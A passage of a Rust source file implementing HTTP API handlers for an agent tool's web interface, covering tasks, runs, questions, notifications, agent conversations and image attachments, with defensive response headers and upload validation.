3338 t.edit(body.title.clone(), body.instruction.clone())
3339 })
3340 .await
3341}
3342
3343async fn queue_done(
3351 State(ui): State<Arc<Ui>>,
3352 Path(id): Path<String>,
3353) -> ApiResult<Json<TaskView>> {
3354 let home = ui.home.clone();
3355 mutate(ui, id, move |t| {
3356 t.succeed();
3357 crate::daemon::supersede_prior_runs(t, &home);
3365 Ok(())
3366 })
3367 .await
3368}
3369
3370async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3378 blocking(move || {
3379 let id = resolve_task(&ui.queue, &id)?;
3380 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3381 ui.queue
3382 .remove(&id, in_flight, &ui.questions)
3383 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3384 Ok(StatusCode::NO_CONTENT)
3385 })
3386 .await
3387}
3388
3389async fn mutate(
3398 ui: Arc<Ui>,
3399 id: String,
3400 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3401) -> ApiResult<Json<TaskView>> {
3402 blocking(move || {
3403 let id = resolve_task(&ui.queue, &id)?;
3404 let _claim = ui.queue.claim(&id).map_err(|e| {
3409 ApiError::conflict(format!(
3410 "{e:#} - a daemon is running this task, so it cannot be \
3411 changed from here yet"
3412 ))
3413 })?;
3414 let mut task = ui.queue.get(&id)?;
3415 change(&mut task).map_err(ApiError::bad_request_from)?;
3416 ui.queue.put(&mut task)?;
3417 Ok(Json(TaskView::from(task)))
3418 })
3419 .await
3420}
3421
3422async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3430 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3431 tokio::spawn(async move {
3432 let mut ticker = tokio::time::interval(POLL);
3433 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3434 loop {
3435 ticker.tick().await;
3438 let state = Arc::clone(&ui);
3439 let revisions = tokio::task::spawn_blocking(move || {
3440 (
3441 state.queue.revision(),
3442 runs_revision(&state.runs),
3443 state.questions.revision(),
3444 state.talks.revision(),
3445 state.notices.revision(),
3446 state.lock_loop().rev,
3450 )
3451 })
3452 .await;
3453 let Ok(revisions) = revisions else { break };
3454 if last == Some(revisions) {
3455 continue;
3456 }
3457 last = Some(revisions);
3458 let payload = serde_json::json!({
3459 "queue_rev": revisions.0,
3460 "runs_rev": revisions.1,
3461 "questions_rev": revisions.2,
3462 "talks_rev": revisions.3,
3463 "notifications_rev": revisions.4,
3464 "loop_rev": revisions.5,
3465 });
3466 let Ok(event) = Event::default().event("change").json_data(payload) else {
3468 break;
3469 };
3470 if tx.send(event).await.is_err() {
3471 break;
3472 }
3473 }
3474 });
3475 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3476 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3477}
3478
3479fn runs_revision(runs: &FsPath) -> u64 {
3486 use std::hash::{Hash as _, Hasher as _};
3487
3488 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3489 .into_iter()
3490 .flatten()
3491 .flatten()
3492 .filter_map(|e| {
3493 let path = e.path().join("run.json");
3494 let mtime = path
3495 .metadata()
3496 .ok()?
3497 .modified()
3498 .ok()?
3499 .duration_since(std::time::UNIX_EPOCH)
3500 .ok()?
3501 .as_millis() as u64;
3502 let id = e.file_name().to_string_lossy().into_owned();
3503 Some((id, mtime))
3504 })
3505 .collect();
3506
3507 if entries.is_empty() {
3508 return 0;
3509 }
3510
3511 entries.sort_unstable();
3512 let mut hasher = std::hash::DefaultHasher::new();
3513 for (id, mtime) in &entries {
3514 id.hash(&mut hasher);
3515 mtime.hash(&mut hasher);
3516 }
3517 let h = hasher.finish();
3518 if h == 0 { 1 } else { h }
3519}
3520
3521fn run_ids(runs: &FsPath) -> Vec<String> {
3527 let mut ids: Vec<String> = std::fs::read_dir(runs)
3528 .into_iter()
3529 .flatten()
3530 .flatten()
3531 .filter(|e| e.path().join("run.json").is_file())
3532 .map(|e| e.file_name().to_string_lossy().into_owned())
3533 .collect();
3534 ids.sort_unstable_by(|a, b| b.cmp(a));
3536 ids
3537}
3538
3539fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3541 let path = runs.join(id).join("run.json");
3542 let body =
3543 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3544 let state: RunState =
3545 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3546 if state.schema != run::SCHEMA {
3547 anyhow::bail!(
3548 "run {} was written by a different magi (schema {}, this build speaks {})",
3549 state.id,
3550 state.schema,
3551 run::SCHEMA
3552 );
3553 }
3554 Ok(state)
3555}
3556
3557#[must_use]
3565pub fn runs_unreadable(runs: &FsPath) -> usize {
3566 run_ids(runs)
3567 .into_iter()
3568 .filter(|id| read_run(runs, id).is_err())
3569 .count()
3570}
3571
3572fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3574 if runs.join(id).join("run.json").is_file() {
3575 return Ok(id.to_owned());
3576 }
3577 pick(run_ids(runs), id, "run")
3578}
3579
3580fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3582 if queue.path_of(id).is_file() {
3583 return Ok(id.to_owned());
3584 }
3585 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3586}
3587
3588#[derive(Debug, Serialize)]
3599struct QuestionView {
3600 #[serde(flatten)]
3601 question: Question,
3602 detail_md: Vec<md::Node>,
3603 waiting_on_agent: bool,
3613}
3614
3615impl From<Question> for QuestionView {
3616 fn from(question: Question) -> Self {
3617 let base = md::ImageBase::QuestionPanel {
3618 id: question.id.clone(),
3619 };
3620 Self {
3621 detail_md: md::to_nodes(&question.detail, &base),
3622 waiting_on_agent: question.waiting_on_agent(),
3623 question,
3624 }
3625 }
3626}
3627
3628async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3634 blocking(move || {
3635 Ok(Json(
3636 ui.questions
3637 .list()
3638 .into_iter()
3639 .map(QuestionView::from)
3640 .collect(),
3641 ))
3642 })
3643 .await
3644}
3645
3646async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3649 blocking(move || {
3650 let items = ui.notices.list();
3651 let unread = items.iter().filter(|n| n.unread()).count();
3652 Ok(Json(
3653 serde_json::json!({ "unread": unread, "items": items }),
3654 ))
3655 })
3656 .await
3657}
3658
3659fn notice_error(e: anyhow::Error) -> ApiError {
3660 ApiError::not_found(format!("{e:#}"))
3663}
3664
3665async fn notification_read(
3667 State(ui): State<Arc<Ui>>,
3668 Path(id): Path<String>,
3669) -> ApiResult<Json<Notice>> {
3670 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3671}
3672
3673async fn notification_dismiss(
3675 State(ui): State<Arc<Ui>>,
3676 Path(id): Path<String>,
3677) -> ApiResult<Json<Notice>> {
3678 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3679}
3680
3681async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3683 blocking(move || {
3684 let changed = ui.notices.mark_all_read()?;
3685 Ok(Json(serde_json::json!({ "marked": changed })))
3686 })
3687 .await
3688}
3689
3690#[derive(Debug, Default, Deserialize)]
3696#[serde(default, deny_unknown_fields)]
3697struct NewAnswer {
3698 choice: Option<String>,
3699 text: Option<String>,
3700}
3701
3702async fn question_answer(
3703 State(ui): State<Arc<Ui>>,
3704 Path(id): Path<String>,
3705 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3706) -> ApiResult<Json<QuestionView>> {
3707 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3708 let answer = match (body.choice, body.text) {
3709 (Some(c), None) => Answer::Choice(c),
3710 (None, Some(t)) => Answer::Text(t),
3711 (Some(_), Some(_)) => {
3712 return Err(ApiError::bad_request(
3713 "send either `choice` or `text`, not both",
3714 ));
3715 }
3716 (None, None) => {
3717 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3718 }
3719 };
3720
3721 blocking(move || {
3722 let id = resolve_question(&ui.questions, &id)?;
3723 let mut q = ui
3724 .questions
3725 .get(&id)
3726 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3727 if !q.status.open() {
3728 return Err(ApiError::conflict(format!(
3732 "question {} is already {}",
3733 q.short(),
3734 q.status.as_str()
3735 )));
3736 }
3737 q.answer(answer).map_err(ApiError::bad_request_from)?;
3741 ui.questions.put(&mut q)?;
3742 Ok(Json(QuestionView::from(q)))
3743 })
3744 .await
3745}
3746
3747#[derive(Debug, Deserialize)]
3749#[serde(deny_unknown_fields)]
3750struct NewSay {
3751 body: String,
3752}
3753
3754async fn question_say(
3764 State(ui): State<Arc<Ui>>,
3765 Path(id): Path<String>,
3766 body: std::result::Result<Json<NewSay>, JsonRejection>,
3767) -> ApiResult<Json<QuestionView>> {
3768 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3769 blocking(move || {
3770 let id = resolve_question(&ui.questions, &id)?;
3771 let mut q = ui
3772 .questions
3773 .get(&id)
3774 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3775 if !q.status.open() {
3776 return Err(ApiError::conflict(format!(
3780 "question {} is already {}",
3781 q.short(),
3782 q.status.as_str()
3783 )));
3784 }
3785 q.say(body.body).map_err(ApiError::bad_request_from)?;
3788 ui.questions.put(&mut q)?;
3789 Ok(Json(QuestionView::from(q)))
3790 })
3791 .await
3792}
3793
3794fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3796 if store.path_of(id).is_file() {
3797 return Ok(id.to_owned());
3798 }
3799 pick(
3800 store.list().into_iter().map(|q| q.id).collect(),
3801 id,
3802 "question",
3803 )
3804}
3805
3806async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3821 blocking(move || {
3822 let id = resolve_question(&ui.questions, &id)?;
3823 let Some(html) = ui.questions.panel_html(&id) else {
3824 return Err(ApiError::not_found(format!("question {id} has no panel")));
3825 };
3826 Ok(panel_response(
3827 "text/html; charset=utf-8",
3828 false,
3829 html.into_bytes(),
3830 ))
3831 })
3832 .await
3833}
3834
3835async fn question_asset(
3863 State(ui): State<Arc<Ui>>,
3864 Path((id, name)): Path<(String, String)>,
3865) -> ApiResult<Response> {
3866 if !crate::ask::valid_asset_name(&name) {
3869 return Err(ApiError::bad_request(format!(
3870 "`{name}` is not a usable asset name"
3871 )));
3872 }
3873 blocking(move || {
3874 let id = resolve_question(&ui.questions, &id)?;
3875 let asset = ui
3876 .questions
3877 .panel_asset(&id, &name)
3878 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3879 let Some(bytes) = asset else {
3880 return Err(ApiError::not_found(format!(
3881 "question {id} has no asset `{name}`"
3882 )));
3883 };
3884 Ok(panel_response(
3885 asset_content_type(&name),
3886 is_svg(&name),
3887 bytes,
3888 ))
3889 })
3890 .await
3891}
3892
3893fn asset_content_type(name: &str) -> &'static str {
3906 match extension(name).as_deref() {
3907 Some("png") => "image/png",
3908 Some("jpg" | "jpeg") => "image/jpeg",
3909 Some("gif") => "image/gif",
3910 Some("webp") => "image/webp",
3911 Some("svg") => "image/svg+xml",
3912 Some("css") => "text/css; charset=utf-8",
3913 Some("txt") => "text/plain; charset=utf-8",
3914 _ => "application/octet-stream",
3915 }
3916}
3917
3918fn is_svg(name: &str) -> bool {
3921 extension(name).as_deref() == Some("svg")
3922}
3923
3924fn extension(name: &str) -> Option<String> {
3926 name.rsplit_once('.')
3927 .map(|(_, ext)| ext.to_ascii_lowercase())
3928}
3929
3930fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3947 let mut res = (
3948 [
3949 (header::CONTENT_TYPE, content_type),
3950 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3951 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3952 (header::REFERRER_POLICY, "no-referrer"),
3953 ],
3954 body,
3955 )
3956 .into_response();
3957 if download {
3958 res.headers_mut().insert(
3959 header::CONTENT_DISPOSITION,
3960 HeaderValue::from_static("attachment"),
3961 );
3962 }
3963 res
3964}
3965
3966#[derive(Debug, Serialize)]
3972struct TalkView {
3973 #[serde(flatten)]
3974 talk: Talk,
3975 turn_bodies_md: Vec<Vec<md::Node>>,
3976 thinking: bool,
3984}
3985
3986impl TalkView {
3987 fn new(talk: Talk, thinking: bool) -> Self {
3988 let turn_bodies_md = talk
3989 .turns
3990 .iter()
3991 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3992 .collect();
3993 Self {
3994 turn_bodies_md,
3995 thinking,
3996 talk,
3997 }
3998 }
3999}
4000
4001#[derive(Debug, Serialize)]
4006struct TalkDetailView {
4007 #[serde(flatten)]
4008 view: TalkView,
4009 tasks: Vec<TaskView>,
4010}
4011
4012async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4017 blocking(move || {
4018 Ok(Json(
4019 ui.talks
4020 .list()
4021 .into_iter()
4022 .map(|talk| {
4023 let thinking = ui.is_thinking(&talk.id);
4024 TalkView::new(talk, thinking)
4025 })
4026 .collect(),
4027 ))
4028 })
4029 .await
4030}
4031
4032#[derive(Debug, Default, Deserialize)]
4037#[serde(default)]
4038struct NewTalk {
4039 agent: Option<String>,
4040 repo: Option<PathBuf>,
4041}
4042
4043async fn talk_post(
4046 State(ui): State<Arc<Ui>>,
4047 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4048) -> ApiResult<impl IntoResponse> {
4049 let body = match body {
4053 Ok(Json(body)) => body,
4054 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4055 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4056 };
4057 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4058 let cfg = config_for(&repo).await?;
4059 let view = blocking(move || {
4060 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4061 let thinking = ui.is_thinking(&talk.id);
4062 Ok(TalkView::new(talk, thinking))
4063 })
4064 .await?;
4065 Ok((StatusCode::CREATED, Json(view)))
4066}
4067
4068async fn talk_detail(
4070 State(ui): State<Arc<Ui>>,
4071 Path(id): Path<String>,
4072) -> ApiResult<Json<TalkDetailView>> {
4073 blocking(move || {
4074 let id = resolve_talk(&ui.talks, &id)?;
4075 let talk = ui.talks.get(&id)?;
4076 let thinking = ui.is_thinking(&talk.id);
4077 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4078 .into_iter()
4079 .map(TaskView::from)
4080 .collect();
4081 Ok(Json(TalkDetailView {
4082 view: TalkView::new(talk, thinking),
4083 tasks,
4084 }))
4085 })
4086 .await
4087}
4088
4089#[derive(Debug, Default, Deserialize)]
4095#[serde(default, deny_unknown_fields)]
4096struct NewTalkTurn {
4097 text: String,
4098 attachments: Vec<String>,
4099}
4100
4101#[derive(Debug, Deserialize)]
4102#[serde(deny_unknown_fields)]
4103struct EditTalkPending {
4104 text: String,
4105 expected_text: String,
4106 expected_attachments: Vec<String>,
4107}
4108
4109#[derive(Debug, Deserialize)]
4110#[serde(deny_unknown_fields)]
4111struct ClearTalkPending {
4112 expected_text: String,
4113 expected_attachments: Vec<String>,
4114}
4115
4116async fn talk_say(
4128 State(ui): State<Arc<Ui>>,
4129 Path(id): Path<String>,
4130 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4131) -> ApiResult<(StatusCode, Json<TalkView>)> {
4132 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4133 if body.text.trim().is_empty() && body.attachments.is_empty() {
4134 return Err(ApiError::bad_request("say something"));
4135 }
4136
4137 let id = {
4138 let ui = Arc::clone(&ui);
4139 let asked = id.clone();
4140 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4141 };
4142 {
4146 let ui = Arc::clone(&ui);
4147 let id = id.clone();
4148 blocking(move || {
4149 let talk = ui.talks.get(&id)?;
4150 if !talk.status.open() {
4151 return Err(ApiError::conflict(format!(
4152 "talk {} is {} and takes no more turns",
4153 talk.short(),
4154 talk.status.as_str()
4155 )));
4156 }
4157 Ok(())
4158 })
4159 .await?;
4160 }
4161
4162 let attachments = {
4167 let ui = Arc::clone(&ui);
4168 let id = id.clone();
4169 let ids = body.attachments.clone();
4170 blocking(move || {
4171 ids.into_iter()
4172 .map(|att_id| {
4173 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4174 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4175 })
4176 })
4177 .collect::<ApiResult<Vec<talk::Attachment>>>()
4178 })
4179 .await?
4180 };
4181
4182 let start = {
4187 let ui = Arc::clone(&ui);
4188 let id = id.clone();
4189 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4190 };
4191 let turn_guard = match start {
4192 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4193 TalkTurnStart::Pending => {
4194 return Err(ApiError::conflict(
4195 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4196 ));
4197 }
4198 TalkTurnStart::Busy => {
4199 let (tx, rx) = tokio::sync::oneshot::channel();
4215 tokio::spawn({
4216 let ui = Arc::clone(&ui);
4217 let id = id.clone();
4218 let said = body.text.clone();
4219 async move {
4220 let written = blocking({
4221 let ui = Arc::clone(&ui);
4222 let id = id.clone();
4223 move || {
4224 let mut talk = ui.talks.get(&id)?;
4225 #[cfg(test)]
4230 if let Some(gate) = ui
4231 .busy_queue_gate
4232 .lock()
4233 .unwrap_or_else(PoisonError::into_inner)
4234 .take()
4235 {
4236 let _ = gate.reached.send(());
4237 let _ = gate.release.recv();
4238 }
4239 if let Err(error) =
4240 talk::queue(&mut talk, &ui.talks, &said, attachments)
4241 {
4242 if let Ok(fresh) = ui.talks.get(&id) {
4243 if !fresh.status.open() {
4244 return Err(ApiError::conflict(format!(
4245 "talk {} is {} and takes no more turns",
4246 fresh.short(),
4247 fresh.status.as_str()
4248 )));
4249 }
4250 }
4251 return Err(ApiError::from(error));
4252 }
4253 let claim = match ui.begin_queued_talk_turn(&id)? {
4264 Some(turn_guard) => {
4265 let (cfg, _) = Config::discover(&talk.repo, None)?;
4266 Some((talk.clone(), cfg, turn_guard))
4267 }
4268 None => None,
4269 };
4270 let thinking = ui.is_thinking(&id);
4271 Ok((TalkView::new(talk, thinking), claim))
4272 }
4273 })
4274 .await;
4275 let (view, reclaimed) = match written {
4276 Ok(pair) => pair,
4277 Err(e) => {
4278 let _ = tx.send(Err(e));
4283 return;
4284 }
4285 };
4286 let _ = tx.send(Ok(view));
4289 if let Some((talk, cfg, turn_guard)) = reclaimed {
4290 let talks = ui.talks.clone();
4291 drain_loop(talk, talks, cfg, id, turn_guard).await;
4292 }
4293 }
4294 });
4295 let view = rx
4296 .await
4297 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4298 return Ok((StatusCode::ACCEPTED, Json(view)));
4299 }
4300 };
4301
4302 let (talk, cfg) = {
4303 let ui = Arc::clone(&ui);
4304 let id = id.clone();
4305 blocking(move || {
4306 let talk = ui.talks.get(&id)?;
4307 let (cfg, _) = Config::discover(&talk.repo, None)?;
4308 Ok((talk, cfg))
4309 })
4310 .await?
4311 };
4312
4313 let talks = ui.talks.clone();
4314 let (tx, rx) = tokio::sync::oneshot::channel();
4329 tokio::spawn({
4330 let ui = Arc::clone(&ui);
4331 let talks = talks.clone();
4332 let id = id.clone();
4333 let said = body.text.clone();
4334 let mut talk = talk.clone();
4335 async move {
4336 let recorded = blocking({
4337 let talks = talks.clone();
4338 move || {
4339 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4340 if let Ok(fresh) = talks.get(&talk.id) {
4341 if !fresh.status.open() {
4342 return Err(ApiError::conflict(format!(
4343 "talk {} is {} and takes no more turns",
4344 fresh.short(),
4345 fresh.status.as_str()
4346 )));
4347 }
4348 }
4349 return Err(ApiError::from(error));
4350 }
4351 Ok((said.trim().to_owned(), talk))
4357 }
4358 })
4359 .await;
4360 let (text, mut talk) = match recorded {
4361 Ok(pair) => pair,
4362 Err(e) => {
4363 let _ = tx.send(Err(e));
4367 return;
4368 }
4369 };
4370 let queued = talk.clone();
4371 let thinking = ui.is_thinking(&id);
4372 let _ = tx.send(Ok((queued, thinking)));
4375
4376 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4377 tracing::warn!("talk {id} turn failed: {e:#}");
4381 }
4382 drain_loop(talk, talks, cfg, id, turn_guard).await;
4385 }
4386 });
4387
4388 let (queued, thinking) = rx
4389 .await
4390 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4391
4392 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4394}
4395
4396async fn talk_pending_resume(
4400 State(ui): State<Arc<Ui>>,
4401 Path(id): Path<String>,
4402) -> ApiResult<(StatusCode, Json<TalkView>)> {
4403 let id = {
4404 let ui = Arc::clone(&ui);
4405 let asked = id.clone();
4406 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4407 };
4408 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4409 return Err(ApiError::conflict(
4410 "a talk turn is already running; the queued draft will be handled by it",
4411 ));
4412 };
4413 let (talk, cfg) = {
4414 let ui = Arc::clone(&ui);
4415 let id = id.clone();
4416 blocking(move || {
4417 let talk = ui.talks.get(&id)?;
4418 if !talk.status.open() {
4419 return Err(ApiError::conflict(format!(
4420 "talk {} is {} and takes no more turns",
4421 talk.short(),
4422 talk.status.as_str()
4423 )));
4424 }
4425 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4426 return Err(ApiError::conflict("there is no queued draft to resume"));
4427 }
4428 let (cfg, _) = Config::discover(&talk.repo, None)?;
4429 Ok((talk, cfg))
4430 })
4431 .await?
4432 };
4433 let view = TalkView::new(talk.clone(), true);
4434 let talks = ui.talks.clone();
4435 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4436 Ok((StatusCode::ACCEPTED, Json(view)))
4437}
4438
4439async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4455 let live_set = Arc::clone(&turn.turns);
4456 let mut turn = Some(turn);
4464 loop {
4465 let observed = live_set
4469 .lock()
4470 .unwrap_or_else(PoisonError::into_inner)
4471 .queued
4472 .get(&id)
4473 .copied()
4474 .unwrap_or(0);
4475 let drained = blocking({
4476 let talks = talks.clone();
4477 move || {
4478 let result = talk::drain(&mut talk, &talks);
4479 Ok((talk, result))
4480 }
4481 })
4482 .await;
4483 let (next_talk, result) = match drained {
4484 Ok(drained) => drained,
4485 Err(e) => {
4486 tracing::warn!(
4487 status = %e.status,
4488 message = %e.message,
4489 "talk {id} could not start queued-text drain"
4490 );
4491 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4492 turn.take()
4493 .expect("held for the whole loop until released here")
4494 .release(&mut live);
4495 break;
4496 }
4497 };
4498 talk = next_talk;
4499 let drained = match result {
4500 Ok(Some(drained)) => drained,
4501 Ok(None) => {
4502 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4503 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4504 continue;
4505 }
4506 turn.take()
4507 .expect("held for the whole loop until released here")
4508 .release(&mut live);
4509 break;
4510 }
4511 Err(e) => {
4512 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4513 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4514 turn.take()
4515 .expect("held for the whole loop until released here")
4516 .release(&mut live);
4517 break;
4518 }
4519 };
4520 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4521 tracing::warn!("talk {id} turn failed: {e:#}");
4522 }
4523 }
4524}
4525
4526async fn talk_pending_clear(
4528 State(ui): State<Arc<Ui>>,
4529 Path(id): Path<String>,
4530 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4531) -> ApiResult<Json<TalkView>> {
4532 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4533 blocking(move || {
4534 let id = resolve_talk(&ui.talks, &id)?;
4535 let mut talk = ui.talks.get(&id)?;
4536 if !talk.status.open() {
4537 return Err(ApiError::conflict(format!(
4538 "talk {} is {} and takes no more turns",
4539 talk.short(),
4540 talk.status.as_str()
4541 )));
4542 }
4543 if !talk::clear_pending_if_matches(
4544 &mut talk,
4545 &ui.talks,
4546 &body.expected_text,
4547 &body.expected_attachments,
4548 )? {
4549 return Err(ApiError::conflict(
4550 "queued message changed; reload it before clearing",
4551 ));
4552 }
4553 let thinking = ui.is_thinking(&talk.id);
4554 Ok(Json(TalkView::new(talk, thinking)))
4555 })
4556 .await
4557}
4558
4559async fn talk_pending_edit(
4563 State(ui): State<Arc<Ui>>,
4564 Path(id): Path<String>,
4565 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4566) -> ApiResult<Json<TalkView>> {
4567 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4568 let (view, reclaimed) = blocking({
4569 let ui = Arc::clone(&ui);
4570 move || {
4571 let id = resolve_talk(&ui.talks, &id)?;
4572 let mut talk = ui.talks.get(&id)?;
4573 if !talk.status.open() {
4574 return Err(ApiError::conflict(format!(
4575 "talk {} is {} and takes no more turns",
4576 talk.short(),
4577 talk.status.as_str()
4578 )));
4579 }
4580 if !talk::edit_pending_text(
4581 &mut talk,
4582 &ui.talks,
4583 &body.text,
4584 &body.expected_text,
4585 &body.expected_attachments,
4586 )? {
4587 return Err(ApiError::conflict(
4588 "queued message changed; reload it before editing",
4589 ));
4590 }
4591 let claim = match ui.begin_queued_talk_turn(&id)? {
4592 Some(turn_guard) => {
4593 let (cfg, _) = Config::discover(&talk.repo, None)?;
4594 Some((talk.clone(), cfg, id.clone(), turn_guard))
4595 }
4596 None => None,
4597 };
4598 let thinking = ui.is_thinking(&id);
4599 Ok((TalkView::new(talk, thinking), claim))
4600 }
4601 })
4602 .await?;
4603 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4604 let talks = ui.talks.clone();
4605 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4606 }
4607 Ok(Json(view))
4608}
4609
4610async fn talk_close(
4612 State(ui): State<Arc<Ui>>,
4613 Path(id): Path<String>,
4614) -> ApiResult<Json<TalkView>> {
4615 blocking(move || {
4616 let id = resolve_talk(&ui.talks, &id)?;
4617 let mut talk = ui.talks.get(&id)?;
4618 talk::close(&mut talk, &ui.talks)?;
4619 let thinking = ui.is_thinking(&talk.id);
4620 Ok(Json(TalkView::new(talk, thinking)))
4621 })
4622 .await
4623}
4624
4625async fn talk_reopen(
4627 State(ui): State<Arc<Ui>>,
4628 Path(id): Path<String>,
4629) -> ApiResult<Json<TalkView>> {
4630 blocking(move || {
4631 let id = resolve_talk(&ui.talks, &id)?;
4632 let mut talk = ui.talks.get(&id)?;
4633 talk::reopen(&mut talk, &ui.talks)?;
4634 let thinking = ui.is_thinking(&talk.id);
4635 Ok(Json(TalkView::new(talk, thinking)))
4636 })
4637 .await
4638}
4639
4640async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4650 blocking(move || {
4651 let id = resolve_talk(&ui.talks, &id)?;
4652 ui.talks.remove(&id)?;
4653 Ok(StatusCode::NO_CONTENT)
4654 })
4655 .await
4656}
4657
4658fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4660 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4661}
4662
4663async fn talk_attachment_post(
4666 State(ui): State<Arc<Ui>>,
4667 Path(id): Path<String>,
4668 headers: HeaderMap,
4669 body: Bytes,
4670) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4671 let mime = validate_attachment(&headers, &body)?;
4672 let name = filename_header(&headers);
4673 let data = body.to_vec();
4674 blocking(move || {
4675 let id = resolve_talk(&ui.talks, &id)?;
4676 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4677 Ok((StatusCode::CREATED, Json(att)))
4678 })
4679 .await
4680}
4681
4682async fn talk_attachment_get(
4685 State(ui): State<Arc<Ui>>,
4686 Path((id, att)): Path<(String, String)>,
4687) -> ApiResult<Response> {
4688 blocking(move || {
4689 let id = resolve_talk(&ui.talks, &id)?;
4690 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4691 return Err(ApiError::not_found(format!(
4692 "talk {id} has no attachment `{att}`"
4693 )));
4694 };
4695 Ok(attachment_response(&meta.mime, data))
4696 })
4697 .await
4698}
4699
4700fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4711 if data.len() > ATTACHMENT_MAX_BYTES {
4712 return Err(ApiError::bad_request(format!(
4713 "attachment is {} bytes, over the {} MiB limit",
4714 data.len(),
4715 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4716 ))
4717 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4718 }
4719 if data.is_empty() {
4720 return Err(ApiError::bad_request("attachment is empty"));
4721 }
4722 let declared = declared_mime(headers)?;
4723 match sniffed_mime(data) {
4724 Some(sniffed) if sniffed == declared => Ok(declared),
4725 Some(sniffed) => Err(ApiError::bad_request(format!(
4726 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4727 ))),
4728 None => Err(ApiError::bad_request(
4729 "the file's bytes do not match any accepted image format",
4730 )),
4731 }
4732}
4733
4734fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4738 let raw = headers
4739 .get(header::CONTENT_TYPE)
4740 .and_then(|v| v.to_str().ok())
4741 .unwrap_or("")
